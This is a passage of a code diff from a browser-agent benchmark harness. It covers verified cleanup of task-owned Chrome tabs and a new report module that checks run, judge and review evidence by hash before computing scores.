cleanup.not_applicable_no_browser_dispatch = !this.boot; } + } catch (error) { cleanup.error = error.message; this.scheduler.halt('Unverified task-owned cleanup: ' + error.message); } + finally { + cleanup.ended_at = new Date().toISOString(); this.meta.cleanup_ok = cleanup.ok; this.meta.cleanup_error = cleanup.error ?? null; + this.meta.child_cleanup = cleanup; this.meta.ended_at = cleanup.ended_at; + await writeFile(path.join(this.rawDir, 'childcleanup.json'), JSON.stringify(cleanup, null, 2) + '\n'); await this.saveMeta(); await this.upstream.close(); + } + })(); + return this.closing; + } + async closePublic({ closeTab = true } = {}) { + this.closing ??= (async () => { + this.scheduler.cancelOwner(this.ownerId); + const cleanup = { started_at: new Date().toISOString(), public_release: true, + scope: 'Public guard continuity with exact task/guard close acknowledgements; no private registry-drain claim', + closes: [], lists: [], ok: false }; + let health, finalClient; + try { + this.cleanupInProgress = true; this.requestDeadline = Date.now() + 295_000; + if (this.meta.capture_cleanup_pending || this.meta.uncertain_upstream) throw new Error('Uncertain native work forbids further public focus/close calls'); + if (this.meta.public_guard?.ok) await this.scheduler.run(this.ownerId, async () => { + if (closeTab) { + const closedIds = new Set(); + for (let round = 0; round < 3; round++) { + const { rows } = await this.inventory(); cleanup.lists.push({ at: new Date().toISOString(), tab_ids: rows.map(row => row.id) }); + if (!rows.length) break; + for (const tab of rows) { + if (closedIds.has(tab.id)) throw new Error('A closed public task tab reappeared; it was not closed again'); + closedIds.add(tab.id); + const result = await this.request('close_tab', { tab_id: tab.id, allow_active: true, + visual_reason: 'Close only this public benchmark task-owned tab', client: this.clientLabel }, 40_000); + const data = resultData(result), row = data[0]; + const id = row?.tab_id ?? row?.tabId ?? row?.id; + const verified = resultOK(result) && data.length === 1 && row?.success === true && row?.closed === true && id === tab.id; + const foreign = !verified && !resultOK(result) ? foreignOwnershipText(result) : null; + cleanup.closes.push({ tab_id: tab.id, ok: verified, ...(foreign ? { foreign_owned: true } : {}), result: data }); + if (foreign) { + this.session.markForeign(tab.id, foreign); this.upstream.markForeign?.(tab.id); + (this.meta.public_foreign_tabs ??= []).push({ tab_id: tab.id, stage: 'cleanup_close', native_error: foreign, at: new Date().toISOString() }); + continue; + } + if (!verified) { + // FSB can time out closing a renderer-hung page. The harness then + // closes that exact Chrome tab itself and requires its absence. + const fallback = await this.closeTabs([tab.id]).catch(error => ({ ok: false, error: error.message })); + cleanup.closes.at(-1).osascript_fallback = fallback; + const { rows: after } = await this.inventory(); + if (!fallback.ok || !fallback.closed?.includes(tab.id) || after.some(row => row.id === tab.id)) + throw new Error('Exact public task-tab close acknowledgement is missing and the exact-ID fallback was not verified'); + cleanup.closes.at(-1).ok = true; cleanup.closes.at(-1).method = 'osascript_exact_tab_id_after_unacknowledged_close'; + } + } + } + } + await this.checkPublicAttachment(); + cleanup.public_guard_drain = await this.upstream.verifyTaskDrain(); + if (cleanup.public_guard_drain?.ok !== true) throw new Error('Public guard-only drain was not verified'); + if (this.meta.public_native_failure && !this.scheduler.halted && !(this.meta.queue_expiries > 0)) { + await this.checkPublicAttachment(); + const raw = await this.upstream.captureGuardHealth(); + const { inspectPng } = await import('./png.mjs'); + const image = raw?.image, bytes = image?.mimeType === 'image/png' && typeof image.data === 'string' ? Buffer.from(image.data, 'base64') : Buffer.alloc(0); + const png = inspectPng(bytes), hash = digest(bytes); + if (raw?.ok !== true || raw.read_verified !== true || !png.ok || image.data !== bytes.toString('base64') + || raw.sha256 !== hash || raw.byte_length !== bytes.length || raw.output_width !== png.width || raw.output_height !== png.height + || raw.metadata?.sha256 !== hash || raw.metadata?.byte_length !== bytes.length + || raw.metadata?.output_width !== png.width || raw.metadata?.output_height !== png.height + || raw.guard_tab_id !== this.upstream.getGuardId()) throw new Error('Independent public guard image/metadata did not verify'); + const pngPath = path.join(this.rawDir, 'public-health.png'); await writeFile(pngPath, bytes, { flag: 'wx' }); + health = { ...raw, image: undefined, guard_id: raw.guard_tab_id, not_actor_frame: true, native_metadata_verified: true, + png: { path: pngPath, bytes: bytes.length, sha256: hash, width: png.width, height: png.height } }; + const data = JSON.stringify(health, null, 2) + '\n', file = path.join(this.rawDir, 'public-health.json'); + await writeFile(file, data, { flag: 'wx' }); + this.meta.public_health_evidence = { path: file, bytes: Buffer.byteLength(data), sha256: digest(data) }; + } + await this.checkPublicAttachment(); + cleanup.public_guard_disposal = await this.upstream.disposeGuard(); + if (cleanup.public_guard_disposal?.ok !== true || cleanup.public_guard_disposal.closed !== true) throw new Error('Exact public guard close was not acknowledged'); + cleanup.ok = true; + }, { cleanup: true }); + else if (!this.publicPrepared && !this.boot) { cleanup.ok = true; cleanup.not_applicable_no_browser_dispatch = true; } + else throw new Error('Public guard setup was not verified; original task-scope cleanup is unknown'); + } catch (error) { + cleanup.error = error.message; this.scheduler.halt('Public task cleanup/health remains unverified: ' + error.message); + } finally { + try { finalClient = await this.upstream.close(); } + catch (error) { cleanup.error ??= error.message; } + cleanup.public_client_shutdown = finalClient; + if (this.session.foreign.size) { + // FSB refuses to close these task popups, so the harness closes exactly + // these Chrome tab IDs itself; the outcome is recorded either way. + cleanup.foreign_tabs = [...this.session.foreign.values()]; + cleanup.foreign_tab_closure = await this.closeTabs([...this.session.foreign.keys()]).catch(error => ({ ok: false, error: error.message })); + } + if (!finalClient || finalClient.cleanup_ok !== true || finalClient.client_closed !== true) { + cleanup.ok = false; cleanup.error ??= 'Public raw client or guard shutdown was not verified'; + this.scheduler.halt(cleanup.error); + } + cleanup.ended_at = new Date().toISOString(); this.meta.cleanup_ok = cleanup.ok; this.meta.cleanup_error = cleanup.error ?? null; + cleanup.cleanup_ok = cleanup.ok; + this.meta.child_cleanup = cleanup; this.meta.ended_at = cleanup.ended_at; + const data = JSON.stringify(cleanup, null, 2) + '\n', file = path.join(this.rawDir, 'childcleanup.json'); + await writeFile(file, data); + if (cleanup.ok && health && this.meta.public_native_failure && !this.meta.uncertain_upstream + && !(this.meta.queue_expiries > 0) && !this.scheduler.halted) { + this.meta.public_disposition = { version: 1, ...this.meta.public_native_failure, + cleanup_verified: true, health_verified: true, + cleanup_evidence: { path: file, bytes: Buffer.byteLength(data), sha256: digest(data) }, + health_evidence: this.meta.public_health_evidence }; + } + await this.saveMeta(); + } + })(); + return this.closing; + } +} diff --git a/mind2web/harness/manual-report.mjs b/mind2web/harness/manual-report.mjs new file mode 100644 index 000000000..827653256 --- /dev/null +++ b/mind2web/harness/manual-report.mjs @@ -0,0 +1,653 @@ +import { readFile, writeFile, mkdir, readdir, copyFile, mkdtemp, rm } from 'node:fs/promises'; +import { createHash } from 'node:crypto'; +import { tmpdir } from 'node:os'; +import { spawn } from 'node:child_process'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { BENCH_ROOT, REPO_ROOT } from './proc.mjs'; +import { atomicJson, acquireRunLock } from './run-state.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { verifyPilotReviewComplete } from './manual-pilot-review.mjs'; +import { verifyPublicDisposition, publicAttemptBlocker } from './public-disposition.mjs'; +import { PUBLIC_PROFILE_ID, PROFILE_ID } from './browser-manual-profile.mjs'; +import { MODEL, EFFORT, JUDGE_ENGINE, JUDGE_ENGINE_CLASS } from './model-family.mjs'; + +const sha = bytes => createHash('sha256').update(bytes).digest('hex'); +const json = file => readFile(file, 'utf8').then(JSON.parse); +const JOBS = ['official', 'strict'].flatMap(variant => [1, 2, 3].map(pass => ({ id: `${JUDGE_ENGINE}-${variant}-pass${pass}`, variant, pass }))); +const SCOPE = `${JUDGE_ENGINE}_only`; +// The runner fingerprints these configuration files alongside its Python sources. +const EVALUATOR_CONFIG = ['codex-tool-isolation.json', 'codex-gpt61sol-browser-policy.json', 'codex-gpt61sol-browser-policy.receipt.json', 'model-family.json']; +const DATASET_SHA256 = '7dedf381531d423dc0fc48d21dc1d425655dd75f38b10211a880fa09102f257f'; +const EXCLUDED_CASES_SHA256 = '6e5169aab1e1a20f8ebbb19b384281a27bd2c6c262fcb5ef43a30859b1dbd2ae'; +const canonical = value => JSON.stringify(value && typeof value === 'object' ? Array.isArray(value) + ? value.map(x => JSON.parse(canonical(x))) : Object.fromEntries(Object.keys(value).sort().map(key => [key, JSON.parse(canonical(value[key]))])) : value); +const cell = value => '"' + String(value ?? '').replaceAll('"', '""') + '"'; +const ARCHIVE = path.join(REPO_ROOT, '.context/om2w/repair-v2/before-implementation'); +const PRESERVATION = Object.freeze({ directory: ARCHIVE, + receipt_sha256: '3c56e7ef119e839177cd8e267fe639e882312c4864b231e76fff1883a6f1fba2', + index_sha256: 'cb0c5c1f315820e9bf021ae5f25c1b900bd9b4f4a574773dd4dc3b1572fb5141', + archive_sha256: 'fe2778c8266529751697920ac33d428cfa294682bff9cf570a2d9e394a388c30' }); + +async function optionalJson(file) { + try { return await json(file); } catch (error) { if (error.code === 'ENOENT') return null; throw error; } +} +async function jsonl(file, { final = false } = {}) { + let bytes; + try { bytes = await readFile(file); } catch (error) { if (error.code === 'ENOENT') return { rows: [], missing: true, partial: false }; throw error; } + const lines = bytes.toString('utf8').split('\n'); + let partial = false; + if (lines.at(-1) !== '') { partial = true; lines.pop(); } + if (final && partial) throw new Error(`Incomplete final JSONL: ${file}`); + return { rows: lines.filter(line => line.trim()).map(line => JSON.parse(line)), partial, + file: { path: file, bytes: bytes.length, sha256: sha(bytes) } }; +} +async function filesBelow(directory) { + const files = []; + for (const entry of await readdir(directory, { withFileTypes: true })) { + const file = path.join(directory, entry.name); + if (entry.isSymbolicLink()) throw new Error('Artifact symlinks are not accepted'); + if (entry.isDirectory()) files.push(...await filesBelow(file)); + else if (entry.isFile()) files.push(file); + } + return files.sort(); +} +export async function trajectoryFingerprint(directory) { + const hash = createHash('sha256'); + let files; + try { files = await filesBelow(directory); } catch (error) { if (error.code === 'ENOENT') return hash.digest('hex'); throw error; } + for (const file of files) hash.update(path.relative(directory, file)).update('\0').update(await readFile(file)).update('\0'); + return hash.digest('hex'); +} +export function distribution(values) { + const sorted = values.filter(Number.isFinite).sort((a, b) => a - b); + const q = fraction => sorted.length ? sorted[Math.floor((sorted.length - 1) * fraction)] : null; + return { count: sorted.length, p50_ms: q(.5), p95_ms: q(.95), max_ms: sorted.at(-1) ?? null }; +} +const elapsed = (start, end) => start && end && Number.isFinite(start.monotonic_ms) && Number.isFinite(end.monotonic_ms) + ? Math.max(0, end.monotonic_ms - start.monotonic_ms) : null; + +async function preservationReceipt(spec, deep) { + const receiptBytes = await readFile(path.join(spec.directory, 'receipt.json')); + const indexBytes = await readFile(path.join(spec.directory, 'historical-protected.sha256.json')); + if (sha(receiptBytes) !== spec.receipt_sha256 || sha(indexBytes) !== spec.index_sha256) throw new Error('Original preservation receipt/index changed'); + const receipt = JSON.parse(receiptBytes), index = JSON.parse(indexBytes); + if (receipt.archive_sha256 !== spec.archive_sha256) throw new Error('Original source archive receipt differs'); + if (deep) { + if (sha(await readFile(path.join(spec.directory, 'sources.tar.gz'))) !== spec.archive_sha256) throw new Error('Original source archive changed'); + for (const [relative, hash] of Object.entries(index)) { + const file = path.resolve(REPO_ROOT, relative); + if (!file.startsWith(REPO_ROOT + path.sep) || sha(await readFile(file)) !== hash) throw new Error('Protected historical artifact changed: ' + relative); + } + } + return { ...spec, historical_files: Object.keys(index).length, historical_bytes_verified: deep }; +} + +async function verifyFreshSources(manifest) { + const { sourceFingerprint } = await import('./manual-runner.mjs'); + const actual = await sourceFingerprint({ serverCommand: manifest.server_command, extensionDir: manifest.extension_dir, + publicRelease: manifest.public_release === true, publicPins: manifest.public_pins }); + if (canonical(actual) !== canonical(manifest.fingerprints)) throw new Error('Fresh run source/runtime fingerprints changed'); + return actual; +} + +async function evaluatorSources() { + const root = path.join(BENCH_ROOT, 'judge'); + const files = (await filesBelow(path.join(root, 'om2w_judge'))).filter(file => file.endsWith('.py')); + files.push(...['upstream/src/methods/webjudge_online_mind2web.py', 'upstream/src/utils.py', 'requirements.lock.txt'].map(file => path.join(root, file)), + ...EVALUATOR_CONFIG.map(file => path.join(BENCH_ROOT, 'config', file))); + return Object.fromEntries(await Promise.all(files.map(async file => [path.relative(root, file), sha(await readFile(file))]))); +} + +async function verifySelectedExport(runDir, row, attempt, task, profile = PROFILE_ID) { + const directory = path.join(runDir, 'trajectories', row.task_id); + const checked = await validateTrajectoryDir(directory); + if (!checked.ok) throw new Error('Exported trajectory validation failed'); + const temporary = await mkdtemp(path.join(tmpdir(), 'om2w-export-audit-')); + try { + const rendered = await writeV2({ task, rawDir: attempt.raw_dir, outDir: temporary, + allowlistPath: path.join(BENCH_ROOT, 'config', `${profile}.json`) }); + if (await trajectoryFingerprint(rendered.dir) !== await trajectoryFingerprint(directory)) throw new Error('Selected raw attempt and exported trajectory differ'); + return { task_id: row.task_id, selected_attempt: row.selected_attempt, + trajectory_sha256: await trajectoryFingerprint(directory), final_sha256: sha(await readFile(path.join(attempt.raw_dir, 'final.json'))) }; + } finally { await rm(temporary, { recursive: true, force: true }); } +} + +async function acquireJudgeEvidenceLock(runDir) { + const directory = path.join(runDir, 'judge'); await mkdir(directory, { recursive: true }); + // This child only holds the same advisory lock as run_pass. EOF releases it + // even if the Node publisher exits unexpectedly; it imports no judge code. + const script = 'import fcntl,sys\nf=open(sys.argv[1],"a+")\nfcntl.flock(f,fcntl.LOCK_EX|fcntl.LOCK_NB)\nprint("locked",flush=True)\nsys.stdin.read()\n'; + const child = spawn(path.join(BENCH_ROOT, 'judge/.venv/bin/python'), ['-B', '-c', script, path.join(directory, '.judge-worker.lock')], { stdio: ['pipe', 'pipe', 'pipe'] }); + let output = '', errors = ''; + child.stderr.on('data', bytes => { errors += bytes; }); + const completed = new Promise(resolve => child.once('close', code => resolve(code))); + await new Promise((resolve, reject) => { + const timer = setTimeout(() => { child.kill('SIGTERM'); reject(new Error('Timed out acquiring judge evidence lock')); }, 5000); + child.once('error', error => { clearTimeout(timer); reject(error); }); + child.once('close', () => { clearTimeout(timer); reject(new Error('Judge evidence is active or its lock could not be acquired: ' + errors.trim())); }); + child.stdout.on('data', bytes => { output += bytes; if (output === 'locked\n') { clearTimeout(timer); resolve(); } }); + }); + return async () => { child.stdin.end(); await completed; }; +} + +export async function verifyReviewEvidence(runDir, manifest) { + runDir = path.resolve(runDir); + const gate = manifest.gate_receipt, reference = gate?.descriptive_pilot_review; + if (!reference?.path || !path.isAbsolute(reference.path) || path.basename(reference.path) !== 'completion.json' || + canonical(manifest.config?.gate_receipt) !== canonical(gate)) throw new Error('Missing frozen descriptive pilot review reference'); + const pilot = await verifyPilotReviewComplete(path.dirname(reference.path)); + if (!pilot.complete || pilot.receipt.sha256 !== reference.sha256 || pilot.public_manifest.sha256 !== reference.public_manifest_sha256 || + pilot.notes.sha256 !== reference.notes_sha256 || canonical(pilot.descriptive_summary) !== canonical(reference.descriptive_summary) || + reference.human_calibrated !== false || reference.affects_operational_gate !== false || + pilot.operational_gate.path !== gate.path || pilot.operational_gate.sha256 !== gate.sha256) throw new Error('Frozen descriptive pilot completion evidence differs'); + const verified = {}; + for (const kind of ['historical', 'fresh']) { + const plan = gate.review_bundles?.[kind]; + if (!plan?.output_dir || !path.isAbsolute(plan.output_dir)) throw new Error('Missing planned blinded review bundle'); + const privatePath = path.join(plan.output_dir, 'private/selection.json'); + const selection = await json(privatePath); + const seed = kind === 'historical' ? 'fsb-judge-human-holdout-v2-20261018' : 'fsb-fresh-manual-v2-review-20261018'; + if (selection.selection?.seed !== seed || (kind === 'fresh' && plan.seed !== seed) || !selection.records?.[0]?.source) throw new Error('Blinded review source or seed differs'); + const source = kind === 'fresh' ? runDir : path.dirname(path.dirname(selection.records[0].source)); + const current = await verifyBlindedReviewBundle({ historicalRunDir: source, outputDir: plan.output_dir, + datasetPath: manifest.source.path, excludedTaskIds: selection.selection.excluded_ids, seed, + publicRelease: kind === 'fresh' && manifest.public_release === true }); + if (kind === 'historical' && (current.selection_sha256 !== plan.selection_sha256 || current.provenance_sha256 !== plan.provenance_sha256)) throw new Error('Frozen historical review evidence differs'); + verified[kind] = { ...current, public_index: path.join(plan.output_dir, 'review/index.json'), + private_selection: privatePath, source_manifest_sha256: selection.selection.historical_manifest_sha256, seed }; + } + return { verified: true, descriptive_pilot: { ...reference, complete: true, + public_manifest: pilot.public_manifest, private_key: pilot.private_key, notes: pilot.notes }, ...verified }; +} + +async function finalizedEvidence(runDir, manifest, { verifySources = verifyFreshSources, preservation = PRESERVATION, + verifyReviews = verifyReviewEvidence } = {}) { + const audit = await json(path.join(runDir, 'FINAL-AUDIT.json')); + const names = ['summary.json', 'per-task.json', 'per-task.csv', 'judge-disagreements.json', 'REPORT.md']; + if (audit.ok !== true || audit.scope !== SCOPE || audit.expected !== 300 || audit.terminal !== 300 || audit.jobs_complete !== 6 || + canonical(Object.keys(audit.output_sha256 ?? {}).sort()) !== canonical([...names].sort()) || + audit.report_source_sha256 !== sha(await readFile(fileURLToPath(import.meta.url))) || + audit.manifest_sha256 !== sha(await readFile(path.join(runDir, 'manifest.json'))) || + audit.manifest_canonical_sha256 !== sha(Buffer.from(canonical(manifest)))) throw new Error('Finalized checkpoint provenance differs'); + for (const name of names) if (sha(await readFile(path.join(runDir, name))) !== audit.output_sha256[name]) throw new Error('Finalized report output changed'); + if (canonical(audit.source_hashes) !== canonical(await verifySources(manifest))) throw new Error('Finalized source/runtime fingerprints differ'); + const evaluator = await evaluatorSources(), inputHashes = new Map(); + if (canonical(audit.judge_inputs?.map(row => row.job)) !== canonical(JOBS.map(job => job.id))) throw new Error('Finalized judge evidence is incomplete'); + for (const row of audit.judge_inputs) { + const directory = path.join(runDir, 'judge', row.job); + for (const [name, evidence] of [['results.jsonl', row.results], ['usage.jsonl', row.usage], ['config.json', row.config]]) { + const file = path.join(directory, name); + if (evidence?.path !== file) throw new Error('Finalized judge evidence path differs'); + if (evidence.missing) { + try { await readFile(file); } catch (error) { if (error.code === 'ENOENT') continue; throw error; } + throw new Error('A missing finalized usage artifact was replaced'); + } + const bytes = await readFile(file); + if (bytes.length !== evidence.bytes || sha(bytes) !== evidence.sha256) throw new Error('Finalized judge evidence changed'); + } + const config = await json(path.join(directory, 'config.json')); + if (sha(Buffer.from(canonical(config))) !== row.config_sha256 || canonical(config.source_sha256) !== canonical(evaluator)) throw new Error('Finalized judge configuration changed'); + for (const id of manifest.task_ids) { + if (!inputHashes.has(id)) inputHashes.set(id, await trajectoryFingerprint(path.join(runDir, 'trajectories', id))); + if (inputHashes.get(id) !== config.inputs[id]) throw new Error('Finalized graded input changed'); + } + } + const attempts = manifest.attempts ?? []; + if (audit.attempt_evidence?.length !== attempts.length || new Set(audit.attempt_evidence.map(row => `${row.task_id}:${row.index}`)).size !== attempts.length) throw new Error('Finalized raw attempt inventory differs'); + for (const row of audit.attempt_evidence) { + const attempt = attempts.find(attempt => attempt.task_id === row.task_id && attempt.index === row.index); + if (!attempt || attempt.raw_dir !== row.raw_dir || await trajectoryFingerprint(row.raw_dir) !== row.raw_sha256 || + sha(await readFile(path.join(row.raw_dir, 'final.json'))) !== row.final_sha256) throw new Error('Finalized raw attempt evidence changed'); + } + const exported = manifest.outcomes.filter(row => row.exported); + if (audit.selected_evidence?.length !== exported.length || new Set(audit.selected_evidence.map(row => row.task_id)).size !== exported.length) throw new Error('Finalized selected export inventory differs'); + for (const row of audit.selected_evidence) { + const selected = exported.find(outcome => outcome.task_id === row.task_id && outcome.selected_attempt === row.selected_attempt); + if (!selected || await trajectoryFingerprint(path.join(runDir, 'trajectories', row.task_id)) !== row.trajectory_sha256 || + sha(await readFile(path.join(selected.raw_dir, 'final.json'))) !== row.final_sha256) throw new Error('Finalized selected evidence changed'); + } + for (const [key, value] of Object.entries(preservation)) if (audit.preservation?.[key] !== value) throw new Error('Finalized preservation receipt differs from its pins'); + await preservationReceipt(preservation, true); + if (canonical(audit.review_evidence) !== canonical(await verifyReviews(runDir, manifest))) throw new Error('Finalized review evidence changed'); + return { ok: true, summary: await json(path.join(runDir, 'summary.json')), audit }; +} + +export async function verifyFinalizedManualReport(runDir, manifest, options = {}) { + runDir = path.resolve(runDir); + if (![PROFILE_ID, PUBLIC_PROFILE_ID].includes(manifest.profile) || manifest.judge_protocol !== 'scorefield-v2') throw new Error('Expected fresh manual report evidence'); + const publication = path.join(runDir, '.report-publication'); await mkdir(publication, { recursive: true }); + const releasePublication = await acquireRunLock(publication); + let releaseRun, releaseJudge; + try { + releaseRun = await acquireRunLock(runDir); + releaseJudge = await acquireJudgeEvidenceLock(runDir); + return await finalizedEvidence(runDir, manifest, options); + } finally { + try { if (releaseJudge) await releaseJudge(); } + finally { try { if (releaseRun) await releaseRun(); } finally { await releasePublication(); } } + } +} + +export async function writeManualReport(runDir, manifest, options = {}) { + runDir = path.resolve(runDir); + if (![PROFILE_ID, PUBLIC_PROFILE_ID].includes(manifest.profile) || manifest.judge_protocol !== 'scorefield-v2') throw new Error('Report requires a frozen browser manual profile and scorefield-v2'); + const publication = path.join(runDir, '.report-publication'); await mkdir(publication, { recursive: true }); + const releasePublication = await acquireRunLock(publication); + let releaseRun, releaseJudge; + try { + const prior = await optionalJson(path.join(runDir, 'FINAL-AUDIT.json')); + if (!options.finalize && prior?.ok) { + releaseJudge = await acquireJudgeEvidenceLock(runDir); + return (await finalizedEvidence(runDir, manifest, options)).summary; + } + let manifestBytes; + if (options.finalize) { + releaseRun = await acquireRunLock(runDir); + releaseJudge = await acquireJudgeEvidenceLock(runDir); + manifestBytes = await readFile(path.join(runDir, 'manifest.json')); + if (canonical(JSON.parse(manifestBytes)) !== canonical(manifest)) throw new Error('On-disk manifest differs from the requested final evidence'); + } + return await writeManualReportUnlocked(runDir, manifest, { ...options, + manifestFileSha256: manifestBytes ? sha(manifestBytes) : null }); + } finally { + try { if (releaseJudge) await releaseJudge(); } + finally { try { if (releaseRun) await releaseRun(); } finally { await releasePublication(); } } + } +} + +async function writeManualReportUnlocked(runDir, manifest, { finalize = false, preservation = PRESERVATION, + verifySources = verifyFreshSources, verifyReviews = verifyReviewEvidence, manifestFileSha256 = null } = {}) { + runDir = path.resolve(runDir); + if (![PROFILE_ID, PUBLIC_PROFILE_ID].includes(manifest.profile) || manifest.judge_protocol !== 'scorefield-v2') throw new Error('Report requires a frozen browser manual profile and scorefield-v2'); + const publicRelease = manifest.public_release === true; + if ((manifest.profile === PUBLIC_PROFILE_ID) !== publicRelease) throw new Error('Public profile and public release provenance disagree'); + if (manifest.browser !== 'existing' || manifest.timeout_seconds !== 1200 || manifest.max_actions !== 120) throw new Error('Report requires the locked existing-Chrome1200s/120 profile'); + if (manifest.model !== MODEL || manifest.effort !== EFFORT) throw new Error(`Report requires the locked ${MODEL} model and ${EFFORT} effort`); + if (finalize) await atomicJson(path.join(runDir, 'FINAL-AUDIT.json'), { ok: false, state: 'verifying', + started_at: new Date().toISOString(), report_source_sha256: sha(await readFile(fileURLToPath(import.meta.url))) }); + const ids = manifest.task_ids; + if (!Array.isArray(ids) || !ids.length || ids.length !== new Set(ids).size || ids.some(id => !/^[A-Za-z0-9_-]+$/.test(id))) throw new Error('Expected unique safe task IDs'); + if (canonical(await json(path.join(runDir, 'task-ids.json'))) !== canonical(ids)) throw new Error('Task IDs differ from frozen run'); + const outcomes = new Map(); + for (const row of manifest.outcomes ?? []) { + if (!ids.includes(row.task_id) || outcomes.has(row.task_id)) throw new Error('Unexpected or duplicate terminal task'); + outcomes.set(row.task_id, row); + } + const expected = ids.length, scores = [], latestByJob = new Map(), integrity = [], parsedCalls = []; + const actualEvaluatorSources = finalize ? await evaluatorSources() : null, inputHashes = new Map(); + for (const job of JOBS) { + const directory = path.join(runDir, 'judge', job.id); + const config = await optionalJson(path.join(directory, 'config.json')); + const saved = await optionalJson(path.join(directory, 'summary.json')); + const results = await jsonl(path.join(directory, 'results.jsonl'), { final: finalize }); + const usage = await jsonl(path.join(directory, 'usage.jsonl'), { final: finalize }); + const latest = new Map(), normal = new Set(), callIds = new Set(); + for (const row of results.rows) { + if (!ids.includes(row.task_id)) throw new Error('Unexpected judge task ID'); + if (normal.has(row.task_id)) throw new Error('A normal verdict was overwritten or repeated'); + if (!row.infrastructure_error) { + if (![0, 1].includes(row.predicted_label)) throw new Error('Normal judgment must be binary'); + if (row.error && row.predicted_label !== 0) throw new Error('An errored task cannot receive success'); + normal.add(row.task_id); + } else if (row.predicted_label !== null) throw new Error('Infrastructure pending is not a completed zero'); + latest.set(row.task_id, row); + } + for (const call of usage.rows) { + if (!ids.includes(call.task_id) || call.job_id !== job.id || !call.call_id || callIds.has(call.call_id) || + call.engine !== JUDGE_ENGINE_CLASS || call.model !== manifest.model || call.effort !== manifest.effort || + !['key_points', 'image', 'final'].includes(call.stage)) throw new Error('Invalid correlated judge usage'); + callIds.add(call.call_id); + if (call.response !== undefined && sha(Buffer.from(call.response)) !== call.response_sha256) throw new Error('Judge response hash differs'); + parsedCalls.push(call); + } + const rows = [...latest.values()], infra = rows.filter(row => row.infrastructure_error).length; + const pending = expected - latest.size + infra, successes = rows.filter(row => row.predicted_label === 1).length; + const errors = rows.filter(row => row.error).length; + const stages = { key_points: 0, image: 0, final: 0 }; + let missing = 0, other = 0; + for (const row of rows.filter(row => row.error && !row.infrastructure_error)) { + const stage = /Malformed (key_points|image|final) reply/.exec(row.error)?.[1]; + if (stage) stages[stage]++; else if (row.error_kind === 'missing_trajectory' || row.error.startsWith('FileNotFoundError:')) missing++; else other++; + } + const formatCalls = usage.rows.filter(call => call.format_error).length; + const transportCalls = usage.rows.filter(call => !call.ok && !call.format_error).length; + const complete = pending === 0 && Boolean(config) && !results.partial && !usage.partial; + if (config) { + if (config.format_version !== 2 || config.judge_protocol !== 'scorefield-v2' || config.rubric !== 'upstream-filter-v1' || + config.engine !== JUDGE_ENGINE_CLASS || config.job_id !== job.id || config.model !== manifest.model || config.effort !== manifest.effort || + config.variant !== job.variant || config.workers !== 10 || config.engine_concurrency !== 10 || config.global_cli_limit !== 10 || + canonical(config.task_ids) !== canonical(ids)) throw new Error('Judge configuration differs from approved six-job run'); + } + if (finalize) { + if (!complete || !saved || canonical(Object.keys(config.inputs).sort()) !== canonical([...ids].sort())) throw new Error('All six jobs require complete evidence before finalization'); + for (const [key, value] of Object.entries({ expected, successes, errors, pending_judgments: pending, + infrastructure_errors: infra, calls: usage.rows.length, format_errors: formatCalls, transport_errors: transportCalls })) { + if (saved[key] !== value) throw new Error('Saved judge summary differs: ' + key); + } + if (saved.success_rate !== successes / expected || saved.config_sha256 !== sha(Buffer.from(canonical(config)))) throw new Error('Judge summary score/config hash differs'); + if (canonical(config.source_sha256) !== canonical(actualEvaluatorSources) || config.adapter_sha256 !== sha(Buffer.from(canonical(actualEvaluatorSources))) || + config.format_attempts !== 3 || config.transport_attempts !== 2 || config.call_timeout_seconds !== 180 || + path.resolve(config.circuit_state) !== path.resolve(manifest.circuit_state)) throw new Error('Evaluator source inventory or retry/circuit configuration differs'); + for (const [relative, hash] of Object.entries(config.source_sha256)) { + const file = path.resolve(BENCH_ROOT, 'judge', relative); + if (![path.join(BENCH_ROOT, 'judge'), path.join(BENCH_ROOT, 'config')].some(root => file.startsWith(root + path.sep)) + || sha(await readFile(file)) !== hash) throw new Error('Evaluator source fingerprint differs'); + } + for (const id of ids) { + if (!inputHashes.has(id)) inputHashes.set(id, await trajectoryFingerprint(path.join(runDir, 'trajectories', id))); + if (inputHashes.get(id) !== config.inputs[id]) throw new Error('Graded trajectory fingerprint differs'); + } + const configBytes = await readFile(path.join(directory, 'config.json')); + integrity.push({ job: job.id, results: results.file, usage: usage.file ?? { path: path.join(directory, 'usage.jsonl'), missing: true }, + config: { path: path.join(directory, 'config.json'), bytes: configBytes.length, sha256: sha(configBytes) }, config_sha256: saved.config_sha256 }); + } + scores.push({ job: job.id, variant: job.variant, pass: job.pass, expected, complete, successes, + success_rate: complete ? successes / expected : null, errors, infrastructure_pending: infra, pending, + missing_trajectory_zeros: missing, task_format_errors: Object.values(stages).reduce((x, y) => x + y, 0), + format_error_stages: stages, other_task_errors: other, call_format_attempts: formatCalls, + historical_infrastructure_rows: results.rows.filter(row => row.infrastructure_error).length, + calls: usage.rows.length, transport_attempt_errors: transportCalls }); + latestByJob.set(job.id, latest); + } + const attempts = manifest.attempts ?? [], finals = [], finalByAttempt = new Map(), queue = [], upstream = [], capture = [], observations = [], nativeFailures = []; + let partialTrace = false; + for (const attempt of attempts) { + const final = attempt.raw_dir ? await optionalJson(path.join(attempt.raw_dir, 'final.json')) : null; + if (final && attempt.final && finalize && canonical(final) !== canonical(attempt.final)) throw new Error('Saved raw final and manifest attempt differ'); + const recorded = final ?? attempt.final; + if (recorded) { + finals.push(recorded); finalByAttempt.set(attempt, recorded); + if (publicRelease) { + const disposition = await verifyPublicDisposition(attempt.raw_dir, recorded); + if (disposition) nativeFailures.push({ task_id: attempt.task_id, index: attempt.index, ...disposition }); + } + } + if (attempt.raw_dir) { + const steps = await jsonl(path.join(attempt.raw_dir, 'steps.jsonl'), { final: finalize }); + partialTrace ||= steps.partial; + for (const step of steps.rows) { + const t = step.timing ?? {}; + queue.push(elapsed(t.lease_requested, t.lease_acquired)); + upstream.push(elapsed(t.upstream_started, t.upstream_finished)); + capture.push(elapsed(t.capture_started, t.capture_finished)); + const total = Date.parse(step.ended_at) - Date.parse(step.started_at); + if (Number.isFinite(total) && total >= 0) observations.push(total); + } + } + } + const cleanupBlockers = attempts.filter(attempt => attempt.state === 'running' || finalByAttempt.get(attempt)?.cleanup_ok !== true).length; + const rows = ids.map(task_id => { + const outcome = outcomes.get(task_id) ?? { outcome: 'pending', exported: false }; + const verdicts = Object.fromEntries(JOBS.map(job => [job.id, 